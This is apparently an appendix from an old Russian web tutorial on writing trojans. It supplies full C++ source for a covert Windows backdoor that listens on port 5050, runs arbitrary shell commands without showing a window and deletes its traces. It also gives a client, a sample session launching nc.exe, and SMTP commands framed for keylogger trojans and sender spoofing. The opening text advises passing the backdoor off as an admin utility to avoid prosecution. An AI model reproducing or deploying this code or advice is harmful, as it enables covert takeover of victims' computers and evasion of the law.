Приложение

Ниже будут даны некоторые примеры, которые могут помочь в понимании некоторых механизмов работы троянских программ, а также в их написании.
Однако, к сожалению, уголовный кодекс иногда применяют по статьям 272-274. Так, что лучше заранее придумать, что говорить людям в форме. Например Back Door вполне можно выдать за утилиту удаленного администрирования. Тем более, что разница между ними - всего ничего: троян ничем себя не обнаруживает, а утилита удаленного администрирования должна напоминать о себе при установке и старте. Поэтому можно написать утилиту, а в релизе забыть включить эти оповещения.

Пример TCP/IP сервера

Это пример сервера, работающего по протоколу TCP. Он выполняет команды клиента, в том числе исполняемые файлы и команды интерпретатора команд.
Пример.
Предполагается, что сервер уже запущен, есть разрешение на запись временного файла (смотри комментарии в коде).

>telnet localhost 5050 - по порту 5050, на своем компьютере
OK+ - ответ сервера
cmdCmd /c dir c:\mnt - посланная команда

параметр /c нужен для того, чтобы командный процессор завершил себя после выполнения команды
Ответ сервера:
Том в устройстве C имеет метку c
Серийный номер тома: 40B0-2AA3
Содержимое папки c:\mnt
20.11.2004 22:36 < DIR> .
20.11.2004 22:36 < DIR> ..
18.11.2004 18:10 < DIR> cdrom
18.11.2004 18:10 < DIR> flp
26.10.2003 00:05 13316 iFP180TC-UMS10e.zip
26.10.2003 00:07 13096 iFP180TC-v210.zip
30.10.2004 11:19 80446 PICT2527.JPG
01.11.2004 10:33 17904 rkcoord.pdf
01.11.2004 09:52 2301 rkcoord.tex
19.08.2004 11:23 3027 UNAS1.jpg
6 файлов 30190 байт
4 папок 7148672 байт свободно
Command get OK

И так далее....
cmdCmd /c More f:\edit2.bak - читаем понравившийся файл
Exmaple inf1
Exmaple inf2
Command get OK
или даже так...
cmdE:\nc\nc.exe - исполняем команду, желательно не создающую окно.
Ниже приведен текст программы, реализующей это сервер. Для того, чтобы эта программа компилировалась необходимо в свойствах проекта указать GUI application и включить в проект файл WS2_32.LIB, этот файл отвечает за работу с сокетами.
Листинг
// Server.cpp
#include "winsock2.h"
#include "windows.h"

#include "string.h"
#include "stdio.h"
#include "conio.h"
#include "io.h"
#include "fcntl.h"

// выполняем системеую команду, попросту говоря "консоль"
// к команде szCmd добавляем ">TmpFile", откуда потом
// считываем результат
// в строку szRetInf - в ней после каждого символа '\n' принудительно
// вставляем символ '\r'
//

int CmdRun(
IN char szCmd[],
IN DWORD dwMaxLen,
OUT char* pszRetInf
)
{
char szTmpFileName[128]="f:\\a.txt"; // там будет вывод результата
// исполнения команды

int hTmpFile; // хэндл на временный файл

DWORD dwLen,k,l;
char szTmp[1024]; //строка для временной информации

STARTUPINFO si;
PROCESS_INFORMATION pi;

memset(&si,0,sizeof(si));
memset(&pi,0,sizeof(pi));

si.cb=sizeof(si);

strcpy(szTmp,szCmd);
strcat(szTmp," >");
strcat(szTmp,szTmpFileName);

CreateProcess(0,
szTmp, //
0, // аттрибуты безопасности процесса : ничего не наследовать
0, // аттрибуты безопасности потока : ничего не наследовать
0, // флаг наследования дескрипторов : ничего не наследовать

CREATE_NO_WINDOW, // не создавать окно новой задаче

0, // окружение, то же, что и у текущего процесса
0, // текущая директория и текущий диск, те же, что и у данного процесса
&si, // структура для отображения главного окна нового процесса - там 0
&pi // структура для получения информации о новом процессе (описатель
// нового процесса и его главного потока
);

//если процесс создался правильно
if(pi.dwProcessId){

/* не очень хороший алгоритм синхронизации, но все же....*/

//новый процесс мог поработать долго, поэтому ждем 1 секунду
//проверяем наш временный файл, если его еще нет, то опять ждем(и так 5 раз)
//
// когда файл наконец появится отправляем его содержимое в
// строку szRetInf, причем после каждого '\n' вставляем '\r' - дабы
// все правильно отображалось в окне telnet
// если не дождались, то возвратим ошибку

for(l=0;l<5;l++){

//Ждем-с
Sleep(1000);

hTmpFile=open(szTmpFileName,O_RDONLY);

if(hTmpFile!=-1){ //если все правильно сработало

 

dwLen=min(
filelength(hTmpFile),
sizeof(szTmp)
);

dwLen=read(hTmpFile,szTmp,dwLen);

szTmp[dwLen]=0;

/*Добавим '\r' после '\n'*/

for(k=l=0;szTmp[k]&&(l<dwMaxLen);k++,l++){
pszRetInf[l]=szTmp[k];
if(szTmp[k]=='\n'){
l++;
pszRetInf[l]='\r';
}

}//for(k=l=0;szTmp[k];l++){

pszRetInf[l]=0;

close(hTmpFile);

/*Удаляем следы работы*/
DeleteFile(szTmpFileName);

}//if(hTmpFile!=-1){ //если все правильно сработало

}//for(l=0;l<5;l++){

return 1;
}//if(pi.dwProcessId)
else //процесс не создался, чтож поделаешь
return 0;

 

}// end of CmdRun procedure

//процедура для работы с одним клиентом, в отдельном потоке
//пока клиент не отсоединился поток работает
DWORD WINAPI ClientThread(LPVOID lpParam){
SOCKET sock=(SOCKET)lpParam;
char szRecvBuff[1024], //szRecvBuff содержит запросы клиента
szSendBuff[1024], //szSendBuff содержит ответы клиенту
Buff[1024]; // содержит команды серверу, уже выделенные из исходных строк
//в szRecvBuff
int ret,i=0;

//Да я вас слышу!
send(sock,"OK+\n\r",5,0);

while(1){
// получение данных
ret=recv(sock,szRecvBuff,1024,0);
if(!ret)
break;
else
//ошибочка!!
if(ret==SOCKET_ERROR){
//MessageBox(0,"Error",0,0);
break;
}

//фактически получаем комманду (одну), до нажатия Enter

if(szRecvBuff[0]==10)
continue;

if(szRecvBuff[0]!=13){
Buff[i]=szRecvBuff[0];
i++;
}//if(szRecvBuff[0]!=13){
else{

//Команда получена!
//Исполнять!!!

Buff[i]=0;
i=0;

//если префикс cmd, то считаем, что это команда системе
// ее надо выполнить и отослать результат...
// например
// cmdDir
// надо исполнить Dir и результат вернуть пользователю
// (в смысле клиенту)
//
if(!strncmp(Buff,"cmd",3)){
if(CmdRun(&Buff[3],sizeof(szSendBuff),szSendBuff))
send(sock,szSendBuff,strlen(szSendBuff)+1,0);
else
send(sock,"Error\n\r",8,0);

}//if command ....

//MessageBox(0,Buff,"rec",0);

strcpy(szSendBuff,"Command get OK\n\r");

// Ответ:
// клиент я вас понял
ret=send(sock,szSendBuff,strlen(szSendBuff)+1,0);
if(ret==SOCKET_ERROR){
MessageBox(0,"Error",0,0);
break;
} //if(ret==SOCKET_ERROR){
}//if(szRecvBuff[0]!=13){}...else

}//while(1)
return 0;
}

DWORD WINAPI NetTread(LPVOID lpParam){

SOCKET sServerListen, //сокет сервера
sClient; //сокет очередного клиента
struct sockaddr_in localaddr,
clientaddr;

HANDLE hTread;
DWORD dwTreadId;
int iSize;

//делаем сокет
sServerListen = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sServerListen==SOCKET_ERROR){
MessageBox(0,"Error",0,0);
return 0;
}
//инициализируем...
localaddr.sin_addr.s_addr=htonl(INADDR_ANY);
localaddr.sin_family=AF_INET;
localaddr.sin_port=htons(5050); // номер порта

if(bind(sServerListen,(struct sockaddr*)&localaddr,
sizeof(localaddr))==SOCKET_ERROR){

//MessageBox(0,"Cant,bind",0,0);
return 1;
}
//MessageBox(0,"Bind Ok",0,0);

/*Слушать запросы готовы!!! */
listen(sServerListen,4);

//MessageBox(0,"Я вас слушаю...",0,0);

/*Слушаем...*/
while(1){

iSize=sizeof(clientaddr);
/*
ждем пока клиент подконнектится...

*/
sClient=accept(sServerListen,(struct sockaddr*)&clientaddr,&iSize);

/*
Плохой клиент???(в смысле корректен ли идентификатор соединения
*/
if(sClient==INVALID_SOCKET){
//MessageBox(0,"Ivalid failed",0,0);
break;
}

/*
Если "хороший", то запускаем поток для работы с клиентом
*/
hTread=CreateThread(0,0,ClientThread,(LPVOID)sClient,0,&dwTreadId);

//не получилось, ну на нет и суда нет
if(!hTread){
//MessageBox(0,"Tread failed",0,0);
break;
}

CloseHandle(hTread);
}

closesocket(sServerListen);
return 0;

}

 

 

 

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
WSADATA wsd;

if(WSAStartup(MAKEWORD(2,2),&wsd)){ //не инициализировали библиотеку? - плохо.
return 0;
}

HANDLE hNetThread;
DWORD dwNetThread;

//запускаем поток сервера, ожидающего соединения клиента
hNetThread=CreateThread(0,0,NetTread,0,0,&dwNetThread);

SuspendThread(GetCurrentThread());
//фактически исходный поток нас уже не интересует
//усыпляем его

return 0;
}

Клиент TCP/IP

Для написания клиентской части ( хотя можно использовать для работы с сервером telnet) я привожу пример часть кода клиента, работающего по протоколу TCP. Этот пример взят из книги Михаила Фленова "С++ глазами хакера".
Для того, чтобы скомпилировать этот пример необходимо включить в проект файл WS2_32.LIB.

// simple.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "winsock2.h"
#include "string.h"

DWORD  Client()
{
	SOCKET        sClient;
	char          szBuffer[1024];
	int           ret, i;
	struct sockaddr_in server;
	struct hostent    *host = NULL;
	char  szServerName[1024], szMessage[1024];
                                                                                          	
	strcpy(szMessage, "get");
	strcpy(szServerName, "127.0.0.1");
                                                                                          	
	sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sClient == INVALID_SOCKET)
    {
		printf("Can't create socket\n");
        return 1;
    }
    server.sin_family = AF_INET;
    server.sin_port = htons(5050);
    server.sin_addr.s_addr = inet_addr(szServerName);
                                                                                          	
	if (server.sin_addr.s_addr == INADDR_NONE)
    {
        host = gethostbyname(szServerName);
        if (host == NULL)
        {
			printf("Unable to resolve server\n");
            return 1;
        }
        CopyMemory(&server.sin_addr, host->h_addr_list[0],
            host->h_length);
    }
                                                                                          
    if (connect(sClient, (struct sockaddr *)&server,
        sizeof(server)) == SOCKET_ERROR)
    {
		printf("connect failed\n");
        return 1;
    }
                                                                                          	
	// Send and receive data
    ret = send(sClient, szMessage, strlen(szMessage), 0);
    if (ret == SOCKET_ERROR)
    {
		printf("send failed\n");
    }
                                                                                          	
	Sleep(1000);
                                                                                          	
    char          szRecvBuff[1024];
    ret = recv(sClient, szRecvBuff, 1024, 0);
    if (ret == SOCKET_ERROR)
    {
		printf("recv failed\n");
    }
                                                                                              
	printf("Recived data %s\n",szRecvBuff);
    closesocket(sClient);
}
                                                                                          
int main(int argc, char* argv[])
{
	WSADATA       wsd;
    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
	{
		return 0;
	}
	Client(0);
	                                                                                          
	
	return 0;
}

Основы SMTP

Приведенный выше пример работы клиента можно использовать не только в Back Door. Его можно использовать и для отправки писем по протоколу SMTP, в E-mail и Key Logger троянах.

В этом разделе я приведу основные команды этого протокола, они могут пригодится и при подделке адреса отправителя (хотя сделать это несложно и уже имеющимися программами).

Обмен сообщениями и инструкциями в SMTP ведется в ASCII-кодах. То есть клиент после соединения с сервером сначала должен послать команду "helo" с каки-либо аргументом.
Потом указать отправителя командой "mail from:", аргументом которой будет адрес отправителя в формате имя_ящика@имя_домена.
Далее командой "rcpt to:" указывается получатель, аргумент этой команды имеет тот же формат, что и в предыдущем случае.
Потом посылается команда "data", после ответа сервера следует написать тело сообщения, и отдельной строкой точку - признак завершения передачи.
Команда "quit" завершит сеанс связи.

Для понимания основ этого протокола будет достаточно посмотреть на пример (названия почтовых ящиков изменены):

>telnet smtp.mail.ru 25                           - присоединяемся к @mail.ru. Порт #25
S:220 mail.ru ESMTP Wed, 15 Dec 2004 23:39:10 +0300
U:helo mail                                       - приличные люди сначала здороваются
S:250 mx2.mail.ru Hello mail [217.118.66.232]
U:mail from:SomeMail_1@mail.ru                    - от кого
S:250 OK                                          - хорошо
U:rcpt to:SomeMail_2@mail.ru                      - кому
S:250 Accepted                                    - хорошо
U:data                                            - начнем пересылать сообщение
S:354 Enter message, ending with "." on a line by itself - хорошо
U:void                                            - тело сообщения
U:.                                               - признак конца сообщения	
S:250 OK id=1Ceg6m-0007Ak-00
U:quit                                            - до свиданья

Надо учитывать, что некоторые почтовые сервера не допускают несуществующих адресов( что могло бы использоваться при обмане пользователей см. книгу Криса Касперски "Технология сетевых атак").

Конечно хотелось бы уметь отправлять сообщения на ICQ, но это требут знаний о протоколе компании Mirabilis Vx, где x - номер версии протокола. Информацию о нем можно найти http://www.mscom.ru/~sophocles/icq/ . Кроме того нужно будет использовать не TCP а UDP.

back next
Hosted by uCoz